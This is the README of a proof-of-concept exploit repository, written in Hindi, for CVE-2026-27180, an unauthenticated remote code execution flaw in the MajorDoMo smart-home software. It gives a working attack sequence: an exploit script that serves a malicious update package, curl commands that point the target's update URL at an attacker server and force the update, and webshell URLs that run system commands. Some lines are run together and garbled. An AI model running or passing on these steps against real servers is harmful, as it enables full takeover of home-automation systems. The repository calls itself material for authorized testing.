
CVE-2026-27180 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो MajorDoMo में अपडेट URL पॉइज़निंग के माध्यम से एक अनप्रमाणित RCE है, जो वेब रूट में एक वेबशेल पहुंचाता है।
MajorDoMo में अपडेट URL पॉइज़निंग के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन
CWE-494 – अखंडता जांच के बिना कोड का डाउनलोड
प्रभाव: वेब रूट में रखे गए वेबशेल के माध्यम से सर्वर से पूर्ण समझौता
प्रमाणीकरण आवश्यक: कोई नहीं
पैच: PR #1177
इस रिपॉजिटरी में CVE-2026-27180 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट शामिल है – यह स्मार्ट होम ऑटोमेशन सॉफ्टवेयर में एक गंभीर बिना प्रमाणीकरण वाला रिमोट कोड निष्पादन भेद्यता है।
एक हमलावर यह कर सकता है:
यह भेद्यता निम्न कारणों से मौजूद है:
auto_update_settings और force_update मोड पर कोई प्रमाणीकरण जांच नहींCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccessgit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# कोई pip install आवश्यक नहीं – केवल मानक लाइब्रेरी + argparse का उपयोग करता है
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2px
दुर्भावनापूर्ण सर्वर प्रारंभ करें:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
सर्वर प्रारंभ होने के बाद, ये कमांड लक्ष्य के विरुद्ध चलाएँ:
# 1. अपडेट स्रोत को पॉइज़न करें
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. बाध्य अपडेट ट्रिगर करें
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
10–90 सेकंड प्रतीक्षा करें, फिर वेबशेल का परीक्षण करें:
# उदाहरण:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
यह कोड केवल शैक्षिक उद्देश्यों, अधिकृत सुरक्षा परीक्षण और रेड टीमिंग गतिविधियों के लिए प्रदान किया गया है।
MIT लाइसेंस
कॉपीराइट © 2026 Mohammed Idrees Banyamer
इसके द्वारा, बिना किसी शुल्क के, किसी भी व्यक्ति को इस सॉफ्टवेयर और संबंधित दस्तावेज़ फ़ाइलों ("सॉफ्टवेयर") की एक प्रति प्राप्त करने पर, बिना किसी प्रतिबंध के सॉफ्टवेयर से निपटने की अनुमति प्रदान की जाती है, जिसमें बिना किसी सीमा के उपयोग, प्रतिलिपि, संशोधन, विलय, प्रकाशन, वितरण, उपलाइसेंस और/या सॉफ्टवेयर की प्रतियां बेचने के अधिकार शामिल हैं, और उन व्यक्तियों को अनुमति देने के लिए जिन्हें सॉफ्टवेयर प्रदान किया गया है, निम्नलिखित शर्तों के अधीन:
उपरोक्त कॉपीराइट सूचना और यह अनुमति सूचना सॉफ्टवेयर की सभी प्रतियों या महत्वपूर्ण भागों में शामिल की जाएगी।
सॉफ्टवेयर "जैसा है" प्रदान किया जाता है, बिना किसी प्रकार की वारंटी के, व्यक्त या निहित, जिसमें बिना किसी सीमा के व्यापारिकता, किसी विशेष उद्देश्य के लिए उपयुक्तता और उल्लंघन की वारंटी शामिल है। किसी भी स्थिति में लेखक या कॉपीराइट धारक किसी भी दावे, क्षति या अन्य दायित्व के लिए उत्तरदायी नहीं होंगे, चाहे वह अनुबंध, टोर्ट या अन्यथा की कार्रवाई में हो, जो सॉफ्टवेयर से या सॉफ्टवेयर के उपयोग या अन्य लेनदेन से उत्पन्न होता है।